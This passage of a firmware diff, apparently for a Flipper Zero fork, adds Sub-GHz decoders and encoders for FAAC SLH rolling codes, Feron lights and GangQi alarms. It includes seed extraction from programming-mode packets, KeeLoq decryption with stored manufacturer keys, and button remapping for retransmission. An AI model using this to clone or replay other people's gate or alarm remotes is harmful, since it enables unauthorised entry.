uint32_t code_fix = instance->data >> 32;
uint32_t code_hop = instance->data & 0xFFFFFFFF;
uint32_t decrypt = 0;
uint64_t man;
// TODO: Stupid bypass for custom button, remake later
if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(0xF);
}
// subghz_custom_btn_set_max(1);
uint8_t data_tmp = 0;
uint8_t data_prg[8];
data_prg[0] = (code_hop & 0xFF);
data_prg[1] = ((code_hop >> 8) & 0xFF);
data_prg[2] = ((code_hop >> 16) & 0xFF);
data_prg[3] = (code_hop >> 24);
data_prg[4] = (code_fix & 0xFF);
data_prg[5] = ((code_fix >> 8) & 0xFF);
data_prg[6] = ((code_fix >> 16) & 0xFF);
data_prg[7] = (code_fix >> 24);
if(((data_prg[7] == 0x52) && (data_prg[6] == 0x0F) && (data_prg[0] == 0x00))) {
faac_prog_mode = true;
// ProgMode ON
for(uint8_t i = data_prg[1] & 0xF; i != 0; i--) {
data_tmp = data_prg[2];
data_prg[2] = data_prg[2] >> 1 | (data_prg[3] & 1) << 7;
data_prg[3] = data_prg[3] >> 1 | (data_prg[4] & 1) << 7;
data_prg[4] = data_prg[4] >> 1 | (data_prg[5] & 1) << 7;
data_prg[5] = data_prg[5] >> 1 | (data_tmp & 1) << 7;
}
data_prg[2] ^= data_prg[1];
data_prg[3] ^= data_prg[1];
data_prg[4] ^= data_prg[1];
data_prg[5] ^= data_prg[1];
instance->seed = data_prg[5] << 24 | data_prg[4] << 16 | data_prg[3] << 8 | data_prg[2];
uint32_t dec_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
data_prg[4];
uint32_t dec_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
data_prg[0];
instance->data_2 = (uint64_t)dec_prg_1 << 32 | dec_prg_2;
instance->cnt = data_prg[1];
*manufacture_name = "FAAC_SLH";
return;
} else {
if(code_fix != 0x0) {
temp_fix_backup = code_fix;
instance->serial = code_fix >> 4;
instance->btn = code_fix & 0xF;
}
faac_prog_mode = false;
}
for
M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
switch(manufacture_code->type) {
case KEELOQ_LEARNING_FAAC:
// FAAC Learning
man = subghz_protocol_keeloq_common_faac_learning(
instance->seed, manufacture_code->key);
decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man);
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
break;
}
}
instance->cnt = decrypt & 0xFFFFF;
// Backup counter in case when we need to use programming mode
if(code_fix != 0x0) {
temp_counter_backup = instance->cnt;
}
}
uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
// Reset seed leftover from previous decoded signal
instance->generic.seed = 0x0;
temp_fix_backup = 0x0;
SubGhzProtocolStatus res =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
uint8_t seed_data[sizeof(uint32_t)] = {0};
for(size_t i = 0; i < sizeof(uint32_t); i++) {
seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
}
if((res == SubGhzProtocolStatusOk) &&
!flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
FURI_LOG_E(TAG, "Unable to add Seed");
res = SubGhzProtocolStatusError;
}
instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
seed_data[3];
subghz_protocol_faac_slh_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
return res;
}
SubGhzProtocolStatus
subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
if(SubGhzProtocolStatusOk !=
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
if(instance->generic.data_count_bit !=
subghz_protocol_faac_slh_const.min_count_bit_for_found) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
break;
}
uint8_t seed_data[sizeof(uint32_t)] = {0};
for(size_t i = 0; i < sizeof(uint32_t); i++) {
seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
}
if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
FURI_LOG_E(TAG, "Missing Seed");
break;
}
bool tmp_allow_zero_seed;
if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
allow_zero_seed = true;
} else {
allow_zero_seed = false;
}
instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
seed_data[3];
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
res = SubGhzProtocolStatusOk;
} while(false);
return res;
}
void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
subghz_protocol_faac_slh_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
uint32_t code_fix = instance->generic.data >> 32;
uint32_t code_hop = instance->generic.data & 0xFFFFFFFF;
if(faac_prog_mode == true) {
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Master Remote Prog Mode\r\n"
"Ke:%lX%08lX\r\n"
"Kd:%lX%08lX\r\n"
"Seed:%08lX mCnt:%02X",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data >> 32),
(uint32_t)instance->generic.data,
(uint32_t)(instance->generic.data_2 >> 32),
(uint32_t)instance->generic.data_2,
instance->generic.seed,
(uint8_t)(instance->generic.cnt & 0xFF));
} else if((allow_zero_seed == false) && (instance->generic.seed == 0x0)) {
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%lX%08lX\r\n"
"Fix:%08lX\r\n"
"Hop:%08lX Btn:%X\r\n"
"Sn:%07lX Sd:Unknown",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data >> 32),
(uint32_t)instance->generic.data,
code_fix,
code_hop,
instance->generic.btn,
instance->generic.serial);
} else {
// push protocol data to global variable
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.cnt_length_bit = 20;
subghz_block_generic_global.current_cnt = instance->generic.cnt;
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%lX%08lX\r\n"
"Fix:%08lX Cnt:%05lX\r\n"
"Hop:%08lX Btn:%X\r\n"
"Sn:%07lX Sd:%08lX",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data >> 32),
(uint32_t)instance->generic.data,
code_fix,
instance->generic.cnt,
code_hop,
instance->generic.btn,
instance->generic.serial,
instance->generic.seed);
}
}
@@ -0,0 +1,113 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_FAAC_SLH_NAME "Faac SLH"
typedef struct SubGhzProtocolDecoderFaacSLH SubGhzProtocolDecoderFaacSLH;
typedef struct SubGhzProtocolEncoderFaacSLH SubGhzProtocolEncoderFaacSLH;
extern const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder;
extern const SubGhzProtocol subghz_protocol_faac_slh;
/**
* Allocate SubGhzProtocolEncoderFaacSLH.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderFaacSLH* pointer to a SubGhzProtocolEncoderFaacSLH instance
*/
void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderFaacSLH.
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
*/
void subghz_protocol_encoder_faac_slh_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return true On success
*/
SubGhzProtocolStatus
subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
*/
void subghz_protocol_encoder_faac_slh_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderFaacSLH.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderFaacSLH* pointer to a SubGhzProtocolDecoderFaacSLH instance
*/
void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderFaacSLH.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
*/
void subghz_protocol_decoder_faac_slh_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderFaacSLH.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
*/
void subghz_protocol_decoder_faac_slh_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderFaacSLH.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderFaacSLH.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
* @param output Resulting text
*/
void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output);
// Reset prog mode vars
// TODO: Remake in proper way
void faac_slh_reset_prog_mode(void);
@@ -0,0 +1,351 @@
#include "feron.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolFeron"
static const SubGhzBlockConst subghz_protocol_feron_const = {
.te_short = 350,
.te_long = 750,
.te_delta = 150,
.min_count_bit_for_found = 32,
};
struct SubGhzProtocolDecoderFeron {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderFeron {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
FeronDecoderStepReset = 0,
FeronDecoderStepSaveDuration,
FeronDecoderStepCheckDuration,
} FeronDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_feron_decoder = {
.alloc = subghz_protocol_decoder_feron_alloc,
.free = subghz_protocol_decoder_feron_free,
.feed = subghz_protocol_decoder_feron_feed,
.reset = subghz_protocol_decoder_feron_reset,
.get_hash_data = subghz_protocol_decoder_feron_get_hash_data,
.serialize = subghz_protocol_decoder_feron_serialize,
.deserialize = subghz_protocol_decoder_feron_deserialize,
.get_string = subghz_protocol_decoder_feron_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_feron_encoder = {
.alloc = subghz_protocol_encoder_feron_alloc,
.free = subghz_protocol_encoder_feron_free,
.deserialize = subghz_protocol_encoder_feron_deserialize,
.stop = subghz_protocol_encoder_feron_stop,
.yield = subghz_protocol_encoder_feron_yield,
};
const SubGhzProtocol subghz_protocol_feron = {
.name = SUBGHZ_PROTOCOL_FERON_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
SubGhzProtocolFlag_Sensors,
.decoder = &subghz_protocol_feron_decoder,
.encoder = &subghz_protocol_feron_encoder,
};
void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderFeron* instance = malloc(sizeof(SubGhzProtocolEncoderFeron));
instance->base.protocol = &subghz_protocol_feron;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 256;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_feron_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFeron* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderFeron instance
*/
static void subghz_protocol_encoder_feron_get_upload(SubGhzProtocolEncoderFeron* instance) {
furi_assert(instance);
size_t index = 0;
// Send key and GAP
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
// Send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_long);
if(i == 1) {
//Send 500/500 and gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
instance->encoder.upload[index++] = level_duration_make(
true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
// Gap
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_short);
}
} else {
// Send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_short);
if(i == 1) {
//Send 500/500 and gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
instance->encoder.upload[index++] = level_duration_make(
true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
// Gap
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long);
}
}
}
instance->encoder.size_upload = index;
return;
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_feron_check_remote_controller(SubGhzBlockGeneric* instance) {
instance->serial = instance->data >> 16;
}
SubGhzProtocolStatus
subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderFeron* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_feron_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_feron_check_remote_controller(&instance->generic);
subghz_protocol_encoder_feron_get_upload(instance);
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_feron_stop(void* context) {
SubGhzProtocolEncoderFeron* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_feron_yield(void* context) {
SubGhzProtocolEncoderFeron* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderFeron* instance = malloc(sizeof(SubGhzProtocolDecoderFeron));
instance->base.protocol = &subghz_protocol_feron;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_feron_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
free(instance);
}
void subghz_protocol_decoder_feron_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
instance->decoder.parser_step = FeronDecoderStepReset;
}
void subghz_protocol_decoder_feron_feed(void* context, bool level, volatile uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
// Feron Decoder
// 2025.04 - @xMasterX (MMX)
// Key samples
/*
0110001100111000 1000010101111010 - ON
0110001100111000 1000010001111011 - OFF
0110001100111000 1000011001111001 - brightness up
0110001100111000 1000011101111000 - brightness down
0110001100111000 1000001001111101 - scroll mode command
------------------------------------------
0110001100111000 0111000010001111 - R
0110001100111000 0001101011100101 - B
0110001100111000 0100000010111111 - G
*/
switch(instance->decoder.parser_step) {
case FeronDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_feron_const.te_long * 6) <
subghz_protocol_feron_const.te_delta * 4)) {
//Found GAP
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = FeronDecoderStepSaveDuration;
}
break;
case FeronDecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = FeronDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = FeronDecoderStepReset;
}
break;
case FeronDecoderStepCheckDuration:
if(!level) {
// Bit 0 is short and long timing = 350us HIGH (te_last) and 750us LOW
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
subghz_protocol_feron_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_feron_const.te_long) <
subghz_protocol_feron_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = FeronDecoderStepSaveDuration;
// Bit 1 is long and short timing = 750us HIGH (te_last) and 350us LOW
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
subghz_protocol_feron_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_feron_const.te_short) <
subghz_protocol_feron_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = FeronDecoderStepSaveDuration;
} else if(
// End of the key 500Low(we are here)/500High us
DURATION_DIFF(
duration, (uint16_t)(subghz_protocol_feron_const.te_short + (uint16_t)150)) <
subghz_protocol_feron_const.te_delta) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
subghz_protocol_feron_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
}
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
subghz_protocol_feron_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
}
// If got 32 bits key reading is finished
if(instance->decoder.decode_count_bit ==
subghz_protocol_feron_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = FeronDecoderStepReset;
} else {
instance->decoder.parser_step = FeronDecoderStepReset;
}
} else {
instance->decoder.parser_step = FeronDecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_feron_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderFeron* instance = context;
subghz_protocol_feron_check_remote_controller(&instance->generic);
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key: 0x%08lX\r\n"
"Serial: 0x%04lX\r\n"
"Command: 0x%04lX\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
instance->generic.serial,
(uint32_t)(instance->generic.data & 0xFFFF));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_FERON_NAME "Feron"
typedef struct SubGhzProtocolDecoderFeron SubGhzProtocolDecoderFeron;
typedef struct SubGhzProtocolEncoderFeron SubGhzProtocolEncoderFeron;
extern const SubGhzProtocolDecoder subghz_protocol_feron_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_feron_encoder;
extern const SubGhzProtocol subghz_protocol_feron;
/**
* Allocate SubGhzProtocolEncoderFeron.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderFeron* pointer to a SubGhzProtocolEncoderFeron instance
*/
void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderFeron.
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
*/
void subghz_protocol_encoder_feron_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
*/
void subghz_protocol_encoder_feron_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_feron_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderFeron.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderFeron* pointer to a SubGhzProtocolDecoderFeron instance
*/
void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderFeron.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
*/
void subghz_protocol_decoder_feron_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderFeron.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
*/
void subghz_protocol_decoder_feron_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_feron_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderFeron.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderFeron.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
* @param output Resulting text
*/
void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output);
@@ -0,0 +1,490 @@
#include "gangqi.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzProtocolGangQi"
static const SubGhzBlockConst subghz_protocol_gangqi_const = {
.te_short = 500,
.te_long = 1200,
.te_delta = 200,
.min_count_bit_for_found = 34,
};
struct SubGhzProtocolDecoderGangQi {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderGangQi {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
GangQiDecoderStepReset = 0,
GangQiDecoderStepSaveDuration,
GangQiDecoderStepCheckDuration,
} GangQiDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder = {
.alloc = subghz_protocol_decoder_gangqi_alloc,
.free = subghz_protocol_decoder_gangqi_free,
.feed = subghz_protocol_decoder_gangqi_feed,
.reset = subghz_protocol_decoder_gangqi_reset,
.get_hash_data = subghz_protocol_decoder_gangqi_get_hash_data,
.serialize = subghz_protocol_decoder_gangqi_serialize,
.deserialize = subghz_protocol_decoder_gangqi_deserialize,
.get_string = subghz_protocol_decoder_gangqi_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder = {
.alloc = subghz_protocol_encoder_gangqi_alloc,
.free = subghz_protocol_encoder_gangqi_free,
.deserialize = subghz_protocol_encoder_gangqi_deserialize,
.stop = subghz_protocol_encoder_gangqi_stop,
.yield = subghz_protocol_encoder_gangqi_yield,
};
const SubGhzProtocol subghz_protocol_gangqi = {
.name = SUBGHZ_PROTOCOL_GANGQI_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
SubGhzProtocolFlag_Alarms,
.decoder = &subghz_protocol_gangqi_decoder,
.encoder = &subghz_protocol_gangqi_encoder,
};
void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderGangQi* instance = malloc(sizeof(SubGhzProtocolEncoderGangQi));
instance->base.protocol = &subghz_protocol_gangqi;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 256;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_gangqi_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderGangQi* instance = context;
free(instance->encoder.upload);
free(instance);
}
// Get custom button code
static uint8_t subghz_protocol_gangqi_get_btn_code(void) {
uint8_t custom_btn_id = subghz_custom_btn_get();
uint8_t original_btn_code = subghz_custom_btn_get_original();
uint8_t btn = original_btn_code;
// Set custom button
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
// Restore original button code
btn = original_btn_code;
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
switch(original_btn_code) {
case 0xD:
btn = 0xE;
break;
case 0xE:
btn = 0xD;
break;
case 0xB:
btn = 0xD;
break;
case 0x7:
btn = 0xD;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
switch(original_btn_code) {
case 0xD:
btn = 0xB;
break;
case 0xE:
btn = 0xB;
break;
case 0xB:
btn = 0xE;
break;
case 0x7:
btn = 0xE;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
switch(original_btn_code) {
case 0xD:
btn = 0x7;
break;
case 0xE:
btn = 0x7;
break;
case 0xB:
btn = 0x7;
break;
case 0x7:
btn = 0xB;
break;
default:
break;
}
}
return btn;
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderGangQi instance
*/
static void subghz_protocol_encoder_gangqi_get_upload(SubGhzProtocolEncoderGangQi* instance) {
furi_assert(instance);
// Generate new key using custom or default button
instance->generic.btn = subghz_protocol_gangqi_get_btn_code();
// override button if we change it with signal settings button editor
if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
